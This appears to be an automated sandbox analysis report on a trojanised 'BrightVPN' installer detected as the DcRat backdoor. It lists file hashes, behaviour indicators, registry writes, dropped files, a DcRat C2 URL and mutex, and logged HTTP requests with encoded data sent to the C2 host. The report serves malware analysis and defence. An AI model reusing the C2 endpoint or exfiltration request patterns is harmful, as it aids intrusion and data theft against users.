File name:

BrightVPN-Setup-1.388.85.exe

Full analysis: https://app.any.run/tasks/3df23d99-4d30-4e71-8c71-c8d897c2d06d
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: November 19, 2023, 00:12:41
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
dcrat
rat
backdoor
remote
stealer
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

3716961C55FE2E1B4A8CC5B5CA0E4E73

SHA1:

E9E4E94A14AF4DB47EE194BFCC3F279A444EA467

SHA256:

01C1A482A3975441D85DEDAA8DEF0ED915E767C2578F81CFF64AAB37D3935E45

SSDEEP:

98304:Ayi384iD1MupZSGySqJLzww3Kj0Q7CoRZCHDzVJG4qoG0aNFYJmLLSHpzLTHY7z7:Xmk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • BrightVPN-Setup-1.388.85.exe (PID: 3128)
      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)

    • DCRAT has been detected (YARA)

      • BrightVPN-Setup.exe (PID: 3408)

    • DCRAT has been detected (SURICATA)

      • BrightVPN-Setup.exe (PID: 3408)

    • Actions looks like stealing of personal data

      • BrightVPN-Setup.exe (PID: 3408)

    • Connects to the CnC server

      • BrightVPN-Setup.exe (PID: 3408)

  • SUSPICIOUS

    • Reads the Internet Settings

      • BrightVPN-Setup-1.388.85.exe (PID: 3128)
      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)
      • BrightVPN-Setup.exe (PID: 3408)

    • Malware-specific behavior (creating "System.dll" in Temp)

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)

    • The process creates files with name similar to system file names

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)

    • Reads settings of System Certificates

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)

    • Checks Windows Trust Settings

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)

    • Reads security settings of Internet Explorer

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)

    • Adds/modifies Windows certificates

      • BrightVPN-Setup-1.388.85.exe (PID: 3128)

  • INFO

    • Reads the computer name

      • BrightVPN-Setup-1.388.85.exe (PID: 3128)
      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)
      • BrightVPN-Setup.exe (PID: 3408)
      • wmpnscfg.exe (PID: 3892)
      • brightvpn_installer.exe (PID: 3028)

    • Checks supported languages

      • BrightVPN-Setup-1.388.85.exe (PID: 3128)
      • BrightVPN-Setup.exe (PID: 3408)
      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)
      • wmpnscfg.exe (PID: 3892)
      • brightvpn_installer.exe (PID: 3028)

    • Create files in a temporary directory

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)
      • BrightVPN-Setup-1.388.85.exe (PID: 3128)

    • Checks proxy server information

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)

    • Reads the machine GUID from the registry

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)
      • BrightVPN-Setup.exe (PID: 3408)
      • wmpnscfg.exe (PID: 3892)
      • brightvpn_installer.exe (PID: 3028)

    • Reads Environment values

      • BrightVPN-Setup.exe (PID: 3408)

    • Reads product name

      • BrightVPN-Setup.exe (PID: 3408)

    • Manual execution by a user

      • wmpnscfg.exe (PID: 3892)

    • Creates files or folders in the user directory

      • BrightVPN-Setup-1.416.561-cea485f2.exe (PID: 3632)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(3408) BrightVPN-Setup.exe
C2 (1)http://976435cm.nyashtyan.top/@0J3bwBXdzh2chlnb
Options
MutexDCR_MUTEX-VAIpQJRl6E5uMUU7bxMn
searchpath%UsersFolder% - Fast
Targetals
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (64.6)
.dll | Win32 Dynamic Link Library (generic) (15.4)
.exe | Win32 Executable (generic) (10.5)
.exe | Generic Win/DOS Executable (4.6)
.exe | DOS Executable Generic (4.6)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2022:03:03 14:15:57+01:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14.3
CodeSize: 203776
InitializedDataSize: 387072
UninitializedDataSize: -
EntryPoint: 0x1f530
OSVersion: 5.1
ImageVersion: -
SubsystemVersion: 5.1
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
7
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start brightvpn-setup-1.388.85.exe no specs brightvpn-setup.exe no specs #DCRAT brightvpn-setup.exe brightvpn-setup-1.416.561-cea485f2.exe no specs brightvpn-setup-1.416.561-cea485f2.exe wmpnscfg.exe no specs brightvpn_installer.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2928"C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup.exe" C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup.exe—BrightVPN-Setup-1.388.85.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
3221226540
Modules
Images
c:\users\admin\appdata\local\temp\brightvpn-setup.exe
c:\windows\system32\ntdll.dll
3028"C:\Users\admin\AppData\Local\Temp\nss8B5D.tmp\brightvpn_installer.exe" /pid=3632 /port=6451 /affiliate= /silent= /exe="C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.416.561-cea485f2.exe"C:\Users\admin\AppData\Local\Temp\nss8B5D.tmp\brightvpn_installer.exe—BrightVPN-Setup-1.416.561-cea485f2.exe
User:
admin
Company:
Bright Data Ltd
Integrity Level:
HIGH
Description:
Bright VPN
Exit code:
0
Version:
1.416.561
Modules
Images
c:\users\admin\appdata\local\temp\nss8b5d.tmp\brightvpn_installer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
3128"C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.388.85.exe" C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.388.85.exe—explorer.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\brightvpn-setup-1.388.85.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
3404"C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.416.561-cea485f2.exe" C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.416.561-cea485f2.exe—BrightVPN-Setup-1.388.85.exe
User:
admin
Company:
Bright Data Ltd.
Integrity Level:
MEDIUM
Exit code:
3221226540
Version:
1.416.561
Modules
Images
c:\users\admin\appdata\local\temp\brightvpn-setup-1.416.561-cea485f2.exe
c:\windows\system32\ntdll.dll
3408"C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup.exe" C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup.exe
BrightVPN-Setup-1.388.85.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Modules
Images
c:\users\admin\appdata\local\temp\brightvpn-setup.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\apppatch\acgenral.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
DcRat
(PID) Process(3408) BrightVPN-Setup.exe
C2 (1)http://976435cm.nyashtyan.top/@0J3bwBXdzh2chlnb
Options
MutexDCR_MUTEX-VAIpQJRl6E5uMUU7bxMn
searchpath%UsersFolder% - Fast
Targetals
3632"C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.416.561-cea485f2.exe" C:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.416.561-cea485f2.exe
BrightVPN-Setup-1.388.85.exe
User:
admin
Company:
Bright Data Ltd.
Integrity Level:
HIGH
Exit code:
0
Version:
1.416.561
Modules
Images
c:\users\admin\appdata\local\temp\brightvpn-setup-1.416.561-cea485f2.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
3892"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\ole32.dll
Total events
6 817
Read events
6 778
Write events
36
Delete events
3

Modification events

(PID) Process:(3128) BrightVPN-Setup-1.388.85.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3128) BrightVPN-Setup-1.388.85.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3128) BrightVPN-Setup-1.388.85.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3128) BrightVPN-Setup-1.388.85.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3632) BrightVPN-Setup-1.416.561-cea485f2.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies
Operation:writeName:CachePrefix
Value:
Cookie:
(PID) Process:(3632) BrightVPN-Setup-1.416.561-cea485f2.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:writeName:CachePrefix
Value:
Visited:
(PID) Process:(3632) BrightVPN-Setup-1.416.561-cea485f2.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(3632) BrightVPN-Setup-1.416.561-cea485f2.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
4600000059010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A8016B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
(PID) Process:(3632) BrightVPN-Setup-1.416.561-cea485f2.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3632) BrightVPN-Setup-1.416.561-cea485f2.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
Executable files
6
Suspicious files
8
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:35A32A30D9EFC57B821C7728FE230C3F
SHA256:09E1C45535FCDC0C3C35BE3E9BEE70A5E26353C9207D083E6764E9B2BE36EDA5
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157compressed
MD5:1BFE591A4FE3D91B03CDF26EAACD8F89
SHA256:9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B2FAF7692FD9FFBD64EDE317E42334BA_D7393C8F62BDE4D4CB606228BC7A711Ebinary
MD5:B636F752D68E845275AB4D19A99621E2
SHA256:887D245C211CAA59BEA39B524D2131CFB6558B8E725465EFBCB1B5D131A6B12C
3128BrightVPN-Setup-1.388.85.exeC:\Users\admin\AppData\Local\Temp\BrightVPN-Setup.exeexecutable
MD5:B512EF402C7E2D4DAB01C70990F3D717
SHA256:D8BF68520ECFA50A3373B28229B2C2FB53418C8A50250E9E0F041F401E0F3965
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\394AED4116FFD9B32F111818CF5811F3binary
MD5:92E4B29C5575FA14240F7260F2EA0AF1
SHA256:6A49052FDF6E1FDEDE332BFF95B150FDCBF0BBE821E4B84D5959E466221076EA
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:34072B1AA63D6E6BB3672664D4CCB39A
SHA256:AC8C35DCEF2DFA084FE44019FC8C54B0D8664FF0741C13FC1FA202C7E6E0BCCB
3128BrightVPN-Setup-1.388.85.exeC:\Users\admin\AppData\Local\Temp\BrightVPN-Setup-1.416.561-cea485f2.exeexecutable
MD5:B99DC1B8CB204EAC0CA3CE252C549DF9
SHA256:FADC1C268563F6333CF3FFB5769ABE34869416D775061180E833B1E3A57B3099
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07CEF2F654E3ED6050FFC9B6EB844250_3431D4C539FB2CFCB781821E9902850Dbinary
MD5:44C73E7978CC1CDE5661B7B09F8E35F6
SHA256:3372EA5FECD6D3661BC651BEB1D9DAC021E7C7EEC06B9CD07E7D483231CF2B1A
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\Local\Temp\nss8B5D.tmp\brightvpn_installer.exeexecutable
MD5:3423E9103519375818F70763CB251FB1
SHA256:D261DD855033F1A868D463F35BA0A80F02AFF86A54379A239157C8BE95F09FAA
3632BrightVPN-Setup-1.416.561-cea485f2.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\394AED4116FFD9B32F111818CF5811F3binary
MD5:4414C0C8490B5C2EEBE96A52AC742A35
SHA256:6B0ED5025F0F340B6C1A4DE9608081E3CC09041E50F430DF94FCC6D361EA1382
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
10
TCP/UDP connections
8
DNS requests
5
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&323673ac45c6d74610bbe3baae9d64b9=0VfiIiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiIhRGMmZ2Y5IGNwMmZ5kTY3I2Y4EmM1EmZlFWZkZTYjFzMiRjY4YTNyIiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
—
—
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&7c8517c92c6ab52822183472d584b425=d1nIzEjYhFzNhJGZzYmMiJDM4gjY2Y2NlJDM5IDO0QDMkJWO5YzY3IWOmJiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W&323673ac45c6d74610bbe3baae9d64b9=d1nIiojIzkDZzADO0MTY1UWMhlzNyMGN2I2YkdDZihjMjVmZxYjIsIyMxIWYxcTYiR2MmJjYyADO4ImNmdTZyATOygDN0ADZilTO2M2NiljZiojIhVjMklzYxYmZ3gDZwU2NwIjZ5UDO5UDNhJTY3MmNzEmIsIyYwUmNiNWMkJDM0MTY0MDO5UGZkNjZ0cTOjRzN2czY3kTOxEjY3gTOiojIkNmYwImY5czYilTOwYzYlNTYlJzN3kDO0ETN5cDOxQjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXST9ENFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiI5U2NihjMmBjNjBTYwYTMiV2Y5MDZjRjMyMWNmNWMlljY2UmN2Q2Y4IiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?HvdPLQiY0oFxkg=PI0s8dd2x8mW8u&0t=ZvDZ&2be918fa85c26493bc99002a9afddf0c=ffe5b558d9b144cd868dfdd66fe46323&7857ef87b7ef1d106cfcf3b205280486=QZxIjYwUzNwADZwcTYiZWMwUjYxIzYmJWN4YmY3ATN1ETNwcjYzMDM&HvdPLQiY0oFxkg=PI0s8dd2x8mW8u&0t=ZvDZ
unknown
text
2.07 Kb
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&7c8517c92c6ab52822183472d584b425=d1nIzEjYhFzNhJGZzYmMiJDM4gjY2Y2NlJDM5IDO0QDMkJWO5YzY3IWOmJiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W&323673ac45c6d74610bbe3baae9d64b9=d1nIiojIzkDZzADO0MTY1UWMhlzNyMGN2I2YkdDZihjMjVmZxYjIsIyMxIWYxcTYiR2MmJjYyADO4ImNmdTZyATOygDN0ADZilTO2M2NiljZiojIhVjMklzYxYmZ3gDZwU2NwIjZ5UDO5UDNhJTY3MmNzEmIsIyYwUmNiNWMkJDM0MTY0MDO5UGZkNjZ0cTOjRzN2czY3kTOxEjY3gTOiojIkNmYwImY5czYilTOwYzYlNTYlJzN3kDO0ETN5cDOxQjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXST9ENFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiI5U2NihjMmBjNjBTYwYTMiV2Y5MDZjRjMyMWNmNWMlljY2UmN2Q2Y4IiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
http://976435cm.nyashtyan.top/nyashsupport.php?JDXvCnGTK=g3Unz73ay3z35hDEJnaX34gW2xHJ&aa2df8cfca37a52611c833a071110f54=gNkN2MlZGOwUDMzATO5gzYkZzM5ATZhhDO4Y2N2AzN5U2YkRzM0ATM4ITN3UjM4czNxQDNzYzM&7857ef87b7ef1d106cfcf3b205280486=QOmVmMkFDO3IjM3UTM0gTOlFWZ3kDMykjY1AzNlhDOllTO5UGZhN2M&7c8517c92c6ab52822183472d584b425=d1nIzEjYhFzNhJGZzYmMiJDM4gjY2Y2NlJDM5IDO0QDMkJWO5YzY3IWOmJiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W&323673ac45c6d74610bbe3baae9d64b9=d1nIiojIzkDZzADO0MTY1UWMhlzNyMGN2I2YkdDZihjMjVmZxYjIsIyMxIWYxcTYiR2MmJjYyADO4ImNmdTZyATOygDN0ADZilTO2M2NiljZiojIhVjMklzYxYmZ3gDZwU2NwIjZ5UDO5UDNhJTY3MmNzEmIsIyYwUmNiNWMkJDM0MTY0MDO5UGZkNjZ0cTOjRzN2czY3kTOxEjY3gTOiojIkNmYwImY5czYilTOwYzYlNTYlJzN3kDO0ETN5cDOxQjI7xSfiElZx8maJBjVzIGbxcVYVJEWaxGeyUVa3lWSspFWhBjTXFVavpWS6ZFSkhmUzUVNShVYyw2RkpmRrl0cJl2YsR2VZVnRXR1ZwcVW5RmMilnQslkNJlHZ2JVbiBHZGZFRGtWSzlUaUl2bqlEdGJTWpZlMWpHbtl0cJN1Vp9maJxWNyI2bCNjY550Vh5kTYFWa3lWSwRjMkZXNyEWdWZ0SnRjMkZXNyEWdWxWS2k0UaRnRtRlVCFTUpdXaJBHNyQmd1ITY1ZlRLdGNyQmd1ITY1ZFbJZTSTpFdG1GVWJUMSl2dplkWKl2TpRzVhRnUXFles1WSzlUaJZTS5JlQSxWSzl0QkBnSFlUeNRUSzZUbiZHbyMmeW1mW2pESVd2YElkekNjYrVzVhhlSp9UaJhlWXVzVhhlSDxUOKlmYwhXbjxmSwwEbCNjY5ZFWSl2bqlEb1IjY2Y1ViBnUul0cJNUT3FERNdXQqlkNJNkYoJ1MjZnQul0cJNVZ1Z0VilnVyI1ZwMUSrZ1Vh1GbykFbCNzYnF1Mi9kSp9Uaj12Y2p0QMlWTE5ENZpGT0c3QPRTRU1UdBRlTp9maJpWOHJWa3lWSGJ1aJZTSTVWeS5mYxkjMZl2dplEbONzYsh2aJZTSpJmdsJjWspkbJNXSpJGcGdFVnBzVZdWUuNWMaJTY1ZUbjdkSp9UarhEZw5UbJNXST9ENFpGT0ElaMNTRqxEMnpWS2k0QjBnS5VmNJlnYtVzVTdHbrl0cJlmYwFzRahmSp9UaVdlYoVzajxmTYZVa3lWSEJkVMNlVwUlVKl2TpV1VihWNwEVUKNETplkeNVXVqxEMJl2TplEWadlSYplMKhlWUp0QMlWT5FVavpWSsJEWlVlSYplMKhlWUpUelJiOiMTOkNDM4QzMhVTZxEWO3IzY0YjYjR2NkJGOyMWZmFjNiwiI5U2NihjMmBjNjBTYwYTMiV2Y5MDZjRjMyMWNmNWMlljY2UmN2Q2Y4IiOiEWNyQWOjFjZmdDOkBTZ3AjMmlTN4kTN0EmMhdzY2MTYiwiIjBTZ2I2YxQmMwQzMhRzM4kTZkR2MmRzN5MGN3YzNjdTO5ETMidDO5IiOiQ2YiBjYilzNjJWO5AjNjV2MhVmM3cTO4QTM1kzN4EDNis3W
unknown
text
104 b
unknown
3408
BrightVPN-Setup.exe
GET
200
188.114.97.3:80
